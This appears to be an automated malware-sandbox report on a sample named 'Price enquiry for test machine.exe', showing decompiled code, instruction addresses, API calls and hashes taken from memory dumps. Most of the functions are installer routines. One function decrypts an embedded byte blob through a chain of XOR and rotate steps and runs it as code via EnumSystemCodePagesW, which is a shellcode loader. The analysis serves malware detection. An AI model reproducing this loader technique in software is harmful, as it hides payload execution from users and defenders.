												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L101:
													_t338 = __ebp - 0x48;
													 *_t338 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t338;
													goto L102;
												} else {
													goto L99;
												}
											}
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L108;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L79;
										case 0x1b:
											L75:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t274 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t274;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t283 = __ebp - 0x64;
											 *_t283 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t283;
											 *( *(__ebp - 0x68)) = __cl;
											L79:
											 *(__ebp - 0x14) = __edx;
											goto L80;
										case 0x1c:
											while(1) {
												L123:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t414 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t414;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t414;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L80:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											 *(__ebp - 0x88) = 0x1c;
											goto L170;
									}
								}
								L171:
								_t535 = _t534 | 0xffffffff;
								goto L172;
							}
						}
					}
				}
			}

0x00000000
0x004064dd
0x004064dd
0x004064e1
0x0040650a
0x00406514
0x004064e3
0x004064ec
0x004064f9
0x004064fc
0x00406840
0x00406840
0x00406843
0x00406843
0x00406843
0x00406849
0x0040684f
0x00406855
0x0040686f
0x00406872
0x00406878
0x00406883
0x00406885
0x00406857
0x00406857
0x00406866
0x0040686a
0x0040686a
0x0040688f
0x00000000
0x00000000
0x00406891
0x00406895
0x00406a44
0x00406a5a
0x00406a62
0x00406a69
0x00406a6b
0x00406a72
0x00406a76
0x00406a76
0x004068a1
0x004068a8
0x004068b0
0x004068b3
0x004068b6
0x004068b6
0x004068bc
0x004068bc
0x00406058
0x00406058
0x00406058
0x00406061
0x00000000
0x00000000
0x00406067
0x00000000
0x00406072
0x00000000
0x00000000
0x0040607b
0x0040607e
0x00406081
0x00406085
0x00000000
0x00000000
0x0040608b
0x0040608e
0x00406090
0x00406091
0x00406094
0x00406096
0x00406097
0x00406099
0x0040609c
0x004060a1
0x004060a6
0x004060af
0x004060c2
0x004060c5
0x004060d1
0x004060f9
0x004060fb
0x00406109
0x00406109
0x0040610d
0x00000000
0x00000000
0x00000000
0x00000000
0x004060fd
0x004060fd
0x00406100
0x00406101
0x00406101
0x00000000
0x004060fd
0x004060d7
0x004060dc
0x004060dc
0x004060e5
0x004060ed
0x004060f0
0x00000000
0x004060f6
0x004060f6
0x00000000
0x004060f6
0x00000000
0x00406113
0x00406113
0x00406117
0x004069c3
0x00000000
0x004069c3
0x00406120
0x00406130
0x00406133
0x00406136
0x00406136
0x00406136
0x00406139
0x0040613d
0x00000000
0x00000000
0x0040613f
0x00406145
0x0040616f
0x00406175
0x0040617c
0x00000000
0x0040617c
0x0040614b
0x0040614e
0x00406153
0x00406153
0x0040615e
0x00406166
0x00406169
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004061ae
0x004061b4
0x004061b7
0x004061c4
0x004061cc
0x00406840
0x00000000
0x00000000
0x00406183
0x00406183
0x00406187
0x004069d2
0x00000000
0x004069d2
0x00406193
0x0040619e
0x0040619e
0x0040619e
0x004061a1
0x004061a4
0x004061a7
0x004061ac
0x00000000
0x00000000
0x00000000
0x00000000
0x00406843
0x00406843
0x00406849
0x0040684f
0x00406855
0x0040686f
0x00406872
0x00406878
0x00406883
0x00406885
0x00406857
0x00406857
0x00406866
0x0040686a
0x0040686a
0x0040688f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004061d4
0x004061d6
0x004061d9
0x0040624a
0x0040624d
0x00406250
0x00406257
0x00406261
0x00406840
0x00406840
0x00000000
0x00406840
0x00406840
0x004061db
0x004061df
0x004061e2
0x004061e4
0x004061e7
0x004061ea
0x004061ec
0x004061ef
0x004061f1
0x004061f6
0x004061f9
0x004061fc
0x00406200
0x00406207
0x0040620a
0x00406211
0x00406215
0x0040621d
0x0040621d
0x0040621d
0x00406217
0x00406217
0x00406217
0x0040620c
0x0040620c
0x0040620c
0x00406221
0x00406224
0x00406242
0x00406244
0x00000000
0x00406226
0x00406226
0x00406229
0x0040622c
0x0040622f
0x00406231
0x00406231
0x00406231
0x00406234
0x00406237
0x00406239
0x0040623a
0x0040623d
0x00000000
0x0040623d
0x00000000
0x00406473
0x00406477
0x00406495
0x00406498
0x0040649f
0x004064a2
0x004064a5
0x004064a8
0x004064ab
0x004064ae
0x004064b0
0x004064b7
0x004064b8
0x004064ba
0x004064bd
0x004064c0
0x004064c3
0x004064c3
0x004064c8
0x00000000
0x004064c8
0x00406479
0x0040647c
0x0040647f
0x00406489
0x00406840
0x00406840
0x00000000
0x00406840
0x00000000
0x00000000
0x00000000
0x00406520
0x00406524
0x00000000
0x00000000
0x0040652a
0x0040652e
0x00000000
0x00000000
0x00406534
0x00406536
0x0040653a
0x0040653a
0x0040653d
0x00406541
0x00000000
0x00000000
0x00406591
0x00406595
0x0040659c
0x0040659f
0x004065a2
0x004065ac
0x00406840
0x00406840
0x00000000
0x00406840
0x00406840
0x00406597
0x00000000
0x00000000
0x004065b8
0x004065bc
0x004065c3
0x004065c6
0x004065c9
0x004065be
0x004065be
0x004065be
0x004065cc
0x004065cf
0x004065d2
0x004065d2
0x004065d5
0x004065d8
0x004065db
0x004065db
0x004065de
0x004065e5
0x004065ea
0x00000000
0x00000000
0x00406678
0x00406678
0x0040667c
0x00406a1a
0x00000000
0x00406a1a
0x00406682
0x00406685
0x00406688
0x0040668c
0x0040668f
0x00406695
0x00406697
0x00406697
0x00406697
0x0040669a
0x0040669d
0x00000000
0x00000000
0x0040626d
0x0040626d
0x00406271
0x004069de
0x00000000
0x004069de
0x00406277
0x0040627a
0x0040627d
0x00406281
0x00406284
0x0040628a
0x0040628c
0x0040628c
0x0040628c
0x0040628f
0x00406292
0x00406292
0x00406295
0x00406298
0x00000000
0x00000000
0x0040629e
0x004062a4
0x00000000
0x00000000
0x004062aa
0x004062aa
0x004062ae
0x004062b1
0x004062b4
0x004062b7
0x004062ba
0x004062bb
0x004062be
0x004062c0
0x004062c6
0x004062c9
0x004062cc
0x004062cf
0x004062d2
0x004062d5
0x004062d8
0x004062f4
0x004062f7
0x004062fa
0x004062fd
0x00406304
0x00406308
0x0040630a
0x0040630e
0x004062da
0x004062da
0x004062de
0x004062e6
0x004062eb
0x004062ed
0x004062ef
0x004062ef
0x00406311
0x00406318
0x0040631b
0x00000000
0x00406321
0x00000000
0x00406321
0x00000000
0x00406326
0x00406326
0x0040632a
0x004069ea
0x00000000
0x004069ea
0x00406330
0x00406333
0x00406336
0x0040633a
0x0040633d
0x00406343
0x00406345
0x00406345
0x00406345
0x00406348
0x0040634b
0x0040634b
0x0040634b
0x00406351
0x00000000
0x00000000
0x00406353
0x00406356
0x00406359
0x0040635c
0x0040635f
0x00406362
0x00406365
0x00406368
0x0040636b
0x0040636e
0x00406371
0x00406389
0x0040638c
0x0040638f
0x00406392
0x00406392
0x00406395
0x00406399
0x0040639b
0x00406373
0x00406373
0x0040637b
0x00406380
0x00406382
0x00406384
0x00406384
0x0040639e
0x004063a5
0x004063a8
0x00000000
0x004063aa
0x00000000
0x004063aa
0x004063a8
0x004063af
0x004063af
0x004063af
0x004063af
0x00000000
0x00000000
0x004063ea
0x004063ea
0x004063ee
0x004069f6
0x00000000
0x004069f6
0x004063f4
0x004063f7
0x004063fa
0x004063fe
0x00406401
0x00406407
0x00406409
0x00406409
0x00406409
0x0040640c
0x0040640f
0x0040640f
0x00406415
0x004063b3
0x004063b3
0x004063b6
0x00000000
0x004063b6
0x00406417
0x00406417
0x0040641a
0x0040641d
0x00406420
0x00406423
0x00406426
0x00406429
0x0040642c
0x0040642f
0x00406432
0x00406435
0x0040644d
0x00406450
0x00406453
0x00406456
0x00406456
0x00406459
0x0040645d
0x0040645f
0x00406437
0x00406437
0x0040643f
0x00406444
0x00406446
0x00406448
0x00406448
0x00406462
0x00406469
0x0040646c
0x00000000
0x0040646e
0x00000000
0x0040646e
0x00000000
0x004066fb
0x004066fb
0x004066ff
0x00406a26
0x00000000
0x00406a26
0x00406705
0x00406708
0x0040670b
0x0040670f
0x00406712
0x00406718
0x0040671a
0x0040671a
0x0040671a
0x0040671d
0x00000000
0x00000000
0x004064cb
0x004064cb
0x004064ce
0x00406840
0x00406840
0x00000000
0x00406840
0x00000000
0x0040680a
0x0040680e
0x00406830
0x00406833
0x0040683d
0x00406840
0x00406840
0x00000000
0x00406840
0x00406840
0x00406810
0x00406813
0x00406817
0x0040681a
0x0040681a
0x0040681d
0x00000000
0x00000000
0x004068c7
0x004068cb
0x004068e9
0x004068e9
0x004068e9
0x004068f0
0x004068f7
0x004068fe
0x004068fe
0x00000000
0x004068fe
0x004068cd
0x004068d0
0x004068d3
0x004068d6
0x004068dd
0x00406821
0x00406821
0x00406824
0x00000000
0x00000000
0x004069b8
0x004069bb
0x004068bc
0x00000000
0x00000000
0x004065f2
0x004065f4
0x004065fb
0x004065fc
0x004065fe
0x00406601
0x00000000
0x00000000
0x00406609
0x0040660c
0x0040660f
0x00406611
0x00406613
0x00406613
0x00406614
0x00406617
0x0040661e
0x00406621
0x0040662f
0x00000000
0x00000000
0x00406905
0x00406905
0x00406908
0x0040690f
0x00000000
0x00000000
0x00406914
0x00406914
0x00406918
0x00406a50
0x00000000
0x00406a50
0x0040691e
0x00406921
0x00406924
0x00406928
0x0040692b
0x00406931
0x00406933
0x00406933
0x00406933
0x00406936
0x00406939
0x00406939
0x00406939
0x00406939
0x0040693c
0x0040693c
0x00406940
0x004069a0
0x004069a3
0x004069a8
0x004069a9
0x004069ab
0x004069ad
0x004069b0
0x004068bc
0x004068bc
0x00000000
0x004068c2
0x004068bc
0x00406942
0x00406948
0x0040694b
0x0040694e
0x00406951
0x00406954
0x00406957
0x0040695a
0x0040695d
0x00406960
0x00406963
0x0040697c
0x0040697f
0x00406982
0x00406985
0x00406989
0x0040698b
0x0040698b
0x0040698c
0x0040698f
0x00406965
0x00406965
0x0040696d
0x00406972
0x00406974
0x00406977
0x00406977
0x00406992
0x00406999
0x00000000
0x0040699b
0x00000000
0x0040699b
0x00000000
0x00406637
0x0040663a
0x00406670
0x004067a0
0x004067a0
0x004067a0
0x004067a0
0x004067a3
0x004067a3
0x004067a6
0x004067a8
0x00406a32
0x00000000
0x00406a32
0x004067ae
0x004067b1
0x00000000
0x00000000
0x004067b7
0x004067bb
0x004067be
0x004067be
0x004067be
0x00000000
0x004067be
0x0040663c
0x0040663e
0x00406640
0x00406642
0x00406645
0x00406646
0x00406648
0x0040664a
0x0040664d
0x00406650
0x00406666
0x0040666b
0x004066a3
0x004066a3
0x004066a7
0x004066d3
0x004066d5
0x004066dc
0x004066df
0x004066e2
0x004066e2
0x004066e7
0x004066e7
0x004066e9
0x004066ec
0x004066f3
0x004066f6
0x00406723
0x00406723
0x00406726
0x00406729
0x0040679d
0x0040679d
0x0040679d
0x00000000
0x0040679d
0x0040672b
0x00406731
0x00406734
0x00406737
0x0040673a
0x0040673d
0x00406740
0x00406743
0x00406746
0x00406749
0x0040674c
0x00406765
0x00406767
0x0040676a
0x0040676b
0x0040676e
0x00406770
0x00406773
0x00406775
0x00406777
0x0040677a
0x0040677c
0x0040677f
0x00406783
0x00406785
0x00406785
0x00406786
0x00406789
0x0040678c
0x0040674e
0x0040674e
0x00406756
0x0040675b
0x0040675d
0x00406760
0x00406760
0x0040678f
0x00406796
0x00406720
0x00406720
0x00406720
0x00406720
0x00000000
0x00406798
0x00000000
0x00406798
0x00406796
0x004066a9
0x004066ac
0x004066ae
0x004066b1
0x004066b4
0x004066b7
0x004066b9
0x004066bc
0x004066bf
0x004066bf
0x004066c2
0x004066c2
0x004066c5
0x004066cc
0x004066a0
0x004066a0
0x004066a0
0x004066a0
0x00000000
0x004066ce
0x00000000
0x004066ce
0x004066cc
0x00406652
0x00406655
0x00406657
0x0040665a
0x00000000
0x00000000
0x004063b9
0x004063b9
0x004063bd
0x00406a02
0x00000000
0x00406a02
0x004063c3
0x004063c6
0x004063c9
0x004063cc
0x004063cf
0x004063d2
0x004063d5
0x004063d7
0x004063da
0x004063dd
0x004063e0
0x004063e2
0x004063e2
0x004063e2
0x00000000
0x00000000
0x00406544
0x00406544
0x00406548
0x00406a0e
0x00000000
0x00406a0e
0x0040654e
0x00406551
0x00406554
0x00406557
0x00406559
0x00406559
0x00406559
0x0040655c
0x0040655f
0x00406562
0x00406565
0x00406568
0x0040656b
0x0040656c
0x0040656e
0x0040656e
0x0040656e
0x00406571
0x00406574
0x00406577
0x0040657a
0x0040657a
0x0040657a
0x0040657d
0x0040657f
0x0040657f
0x00000000
0x00000000
0x004067c1
0x004067c1
0x004067c1
0x004067c5
0x00000000
0x00000000
0x004067cb
0x004067ce
0x004067d1
0x004067d4
0x004067d6
0x004067d6
0x004067d6
0x004067d9
0x004067dc
0x004067df
0x004067e2
0x004067e5
0x004067e8
0x004067e9
0x004067eb
0x004067eb
0x004067eb
0x004067ee
0x004067f1
0x004067f4
0x004067f7
0x004067fa
0x004067fe
0x00406800
0x00406803
0x00000000
0x00406805
0x00406582
0x00406582
0x00000000
0x00406582
0x00406803
0x00406a38
0x00000000
0x00000000
0x00406067
0x00406a6f
0x00406a6f
0x00000000
0x00406a6f
0x004068bc
0x00406843
0x00406840

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a35431ca5ac5a63de0c48c0fa1b7027ef1301f6ad8cfe25f67b835d71510927c
Instruction ID: 5a6a632b4197b5bad3eb6902eefc8e88da0621a447eca7476662d6aa47a1fed0
Opcode Fuzzy Hash: a35431ca5ac5a63de0c48c0fa1b7027ef1301f6ad8cfe25f67b835d71510927c
Instruction Fuzzy Hash: 93714571E00228CFEF28DF98C8547ADBBB1FB44305F15816AD916BB281C7789A56DF44

Uniqueness

Uniqueness Score: -1.00%

Function 72E43CF0, Relevance: 4.7, APIs: 3, Instructions: 170
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E72E43CF0() {
				signed int _v5;
				signed int _v12;
				void* _v16;
				void* _t110;

				_v16 = 0;
				_t110 = malloc(0xbebc200); // executed
				_v16 = _t110;
				if(_v16 != 0) {
					memset(_v16, 0xde, 0xbebc200);
					_v12 = 0;
					_v12 = 0;
					while(_v12 < 0x139b) {
						_t11 =  &E72E46000 + _v12; // 0x0
						_v5 =  *_t11;
						_v5 = _v5 & 0x000000ff ^ _v12;
						_v5 = (_v5 & 0x000000ff) + 0x31;
						_v5 =  ~(_v5 & 0x000000ff);
						_v5 = (_v5 & 0x000000ff) - _v12;
						_v5 =  !(_v5 & 0x000000ff);
						_v5 = (_v5 & 0x000000ff) - 0xb2;
						_v5 = _v5 & 0x000000ff ^ 0x00000038;
						_v5 = (_v5 & 0x000000ff) + 0xc7;
						_v5 =  ~(_v5 & 0x000000ff);
						_v5 = _v5 & 0x000000ff ^ 0x000000ba;
						_v5 =  !(_v5 & 0x000000ff);
						_v5 = (_v5 & 0x000000ff) - _v12;
						_v5 =  ~(_v5 & 0x000000ff);
						_v5 = (_v5 & 0x000000ff) >> 0x00000006 | (_v5 & 0x000000ff) << 0x00000002;
						_v5 = (_v5 & 0x000000ff) - 0x38;
						_v5 = (_v5 & 0x000000ff) >> 0x00000002 | (_v5 & 0x000000ff) << 0x00000006;
						_v5 = (_v5 & 0x000000ff) - 0xbb;
						_v5 = (_v5 & 0x000000ff) >> 0x00000006 | (_v5 & 0x000000ff) << 0x00000002;
						_v5 =  !(_v5 & 0x000000ff);
						_v5 =  ~(_v5 & 0x000000ff);
						_v5 = _v5 & 0x000000ff ^ _v12;
						_v5 =  ~(_v5 & 0x000000ff);
						_v5 = _v5 & 0x000000ff ^ _v12;
						_v5 =  !(_v5 & 0x000000ff);
						_v5 = (_v5 & 0x000000ff) + _v12;
						_v5 = (_v5 & 0x000000ff) >> 0x00000001 | (_v5 & 0x000000ff) << 0x00000007;
						_v5 = _v5 & 0x000000ff ^ 0x000000dc;
						_v5 =  !(_v5 & 0x000000ff);
						_v5 = (_v5 & 0x000000ff) - 0xc8;
						_v5 = _v5 & 0x000000ff ^ 0x000000f4;
						_v5 = (_v5 & 0x000000ff) - _v12;
						_v5 =  !(_v5 & 0x000000ff);
						_v5 = (_v5 & 0x000000ff) + 0x5d;
						_v5 = (_v5 & 0x000000ff) >> 0x00000003 | (_v5 & 0x000000ff) << 0x00000005;
						_v5 =  ~(_v5 & 0x000000ff);
						_v5 = _v5 & 0x000000ff ^ _v12;
						_v5 = (_v5 & 0x000000ff) + 0xea;
						_v5 =  !(_v5 & 0x000000ff);
						_v5 = (_v5 & 0x000000ff) + 0xa4;
						_v5 = _v5 & 0x000000ff ^ _v12;
						 *((char*)( &E72E46000 + _v12)) = _v5;
						_v12 = _v12 + 1;
					}
					EnumSystemCodePagesW( &E72E46000, 0); // executed
				}
				return 0;
			}

0x72e43cf6
0x72e43d02
0x72e43d0b
0x72e43d12
0x72e43d26
0x72e43d2e
0x72e43d35
0x72e43d47
0x72e43d57
0x72e43d5d
0x72e43d67
0x72e43d71
0x72e43d7a
0x72e43d84
0x72e43d8d
0x72e43d99
0x72e43da3
0x72e43db0
0x72e43db9
0x72e43dc6
0x72e43dcf
0x72e43dd9
0x72e43de2
0x72e43df5
0x72e43dff
0x72e43e12
0x72e43e1f
0x72e43e32
0x72e43e3b
0x72e43e44
0x72e43e4e
0x72e43e57
0x72e43e61
0x72e43e6a
0x72e43e74
0x72e43e86
0x72e43e93
0x72e43e9c
0x72e43ea8
0x72e43eb5
0x72e43ebf
0x72e43ec8
0x72e43ed2
0x72e43ee5
0x72e43eee
0x72e43ef8
0x72e43f04
0x72e43f0d
0x72e43f1a
0x72e43f24
0x72e43f2d
0x72e43d44
0x72e43d44
0x72e43f3f
0x72e43f3f
0x72e43f4a

APIs

malloc.MSVCRT ref: 72E43D02
memset.MSVCRT ref: 72E43D26
EnumSystemCodePagesW.KERNELBASE(72E46000,00000000), ref: 72E43F3F

Memory Dump Source

Source File: 00000000.00000002.290479341.0000000072E41000.00000020.00020000.sdmp, Offset: 72E40000, based on PE: true

Associated: 00000000.00000002.290458874.0000000072E40000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.290518667.0000000072E45000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.290525123.0000000072E46000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.290531660.0000000072E48000.00000002.00020000.sdmp Download File

Similarity

API ID: CodeEnumPagesSystemmallocmemset
String ID:
API String ID: 3715806398-0
Opcode ID: 1b2637647830c60820f91286bcd85ea2171502352be6220feeab8c10a200fe75
Instruction ID: 912f51d2ffaca792101b2723fc5cd04231ee54484bac9e5235808a30fcb02349
Opcode Fuzzy Hash: 1b2637647830c60820f91286bcd85ea2171502352be6220feeab8c10a200fe75
Instruction Fuzzy Hash: 10718554C4D2E8A9DF16C7FA54A03ECBFB15E67102F0881CAE0E566286C57A534FDB22

Uniqueness

Uniqueness Score: -1.00%

Function 00401389, Relevance: 3.0, APIs: 2, Instructions: 43
windowCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00401389(signed int _a4) {
				intOrPtr* _t6;
				void* _t8;
				void* _t10;
				signed int _t11;
				void* _t12;
				intOrPtr _t15;
				signed int _t16;
				signed int _t17;
				void* _t18;

				_t17 = _a4;
				while(_t17 >= 0) {
					_t15 =  *0x423f70; // 0x6f2ee4
					_t6 = _t17 * 0x1c + _t15;
					if( *_t6 == 1) {
						break;
					}
					_push(_t6); // executed
					_t8 = E00401434(); // executed
					if(_t8 == 0x7fffffff) {
						return 0x7fffffff;
					}
					_t10 = E0040136D(_t8);
					if(_t10 != 0) {
						_t11 = _t10 - 1;
						_t16 = _t17;
						_t17 = _t11;
						_t12 = _t11 - _t16;
					} else {
						_t12 = _t10 + 1;
						_t17 = _t17 + 1;
					}
					if( *((intOrPtr*)(_t18 + 0xc)) != 0) {
						 *0x42372c =  *0x42372c + _t12;
						SendMessageA( *(_t18 + 0x18), 0x402, MulDiv( *0x42372c, 0x7530,  *0x423714), 0);
					}
				}
				return 0;
			}

0x0040138a
0x004013fa
0x00401392
0x0040139b
0x004013a0
0x00000000
0x00000000
0x004013a2
0x004013a3
0x004013ad
0x00000000
0x00401404
0x004013b0
0x004013b7
0x004013bd
0x004013be
0x004013c0
0x004013c2
0x004013b9
0x004013b9
0x004013ba
0x004013ba
0x004013c9
0x004013cb
0x004013f4
0x004013f4
0x004013c9
0x00000000

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageA.USER32(00000020,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 3f695f75208f640be867956647b5e414a31c5be601b183f87834ddd8f53d2100
Instruction ID: 9ae17229e6d33b90ed82c987c6c55cbce7d6b2b41e99f766f3e5bcfc28262e64
Opcode Fuzzy Hash: 3f695f75208f640be867956647b5e414a31c5be601b183f87834ddd8f53d2100
Instruction Fuzzy Hash: CA014472B242109BEB184B389C04B2A32A8E710319F10813BF841F72F1D638CC028B4D

Uniqueness

Uniqueness Score: -1.00%

Function 00405F28, Relevance: 3.0, APIs: 2, Instructions: 22
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405F28(signed int _a4) {
				struct HINSTANCE__* _t5;
				signed int _t10;

				_t10 = _a4 << 3;
				_t8 =  *(_t10 + 0x409208);
				_t5 = GetModuleHandleA( *(_t10 + 0x409208));
				if(_t5 != 0) {
					L2:
					return GetProcAddress(_t5,  *(_t10 + 0x40920c));
				}
				_t5 = E00405EBA(_t8); // executed
				if(_t5 == 0) {
					return 0;
				}
				goto L2;
			}

0x00405f30
0x00405f33
0x00405f3a
0x00405f42
0x00405f4e
0x00000000
0x00405f55
0x00405f45
0x00405f4c
0x00000000
0x00405f5d
0x00000000

APIs

GetModuleHandleA.KERNEL32(?,?,?,00403165,0000000D), ref: 00405F3A
GetProcAddress.KERNEL32(00000000,?), ref: 00405F55

Part of subcall function 00405EBA: GetSystemDirectoryA.KERNEL32 ref: 00405ED1
Part of subcall function 00405EBA: wsprintfA.USER32 ref: 00405F0A
Part of subcall function 00405EBA: LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 00405F1E

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: c95d3685517970e0c019aac56d97440eb4eeb9d6cd7db5aa949554c45ee13345
Instruction ID: ae0a47d2ae808e9ad23d4e83699500a4151a320e34d6f574464110b7e3b32053
Opcode Fuzzy Hash: c95d3685517970e0c019aac56d97440eb4eeb9d6cd7db5aa949554c45ee13345
Instruction Fuzzy Hash: 7AE08632A0951176D61097709D0496773ADDAC9740300087EF659F6181D738AC119E6D

Uniqueness

Uniqueness Score: -1.00%

Function 0040586F, Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0040586F(CHAR* _a4, long _a8, long _a12) {
				signed int _t5;
				void* _t6;

				_t5 = GetFileAttributesA(_a4); // executed
				asm("sbb ecx, ecx");
				_t6 = CreateFileA(_a4, _a8, 1, 0, _a12,  ~(_t5 + 1) & _t5, 0); // executed
				return _t6;
			}

0x00405873
0x00405880
0x00405895
0x0040589b

APIs

GetFileAttributesA.KERNELBASE(00000003,00402C95,C:\Users\user\Desktop\Price enquiry for test machine.exe,80000000,00000003), ref: 00405873
CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405895

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 5340b84021e5d080a0f841e0942d03c921a309eaf12029fe197c00c0f40f89c7
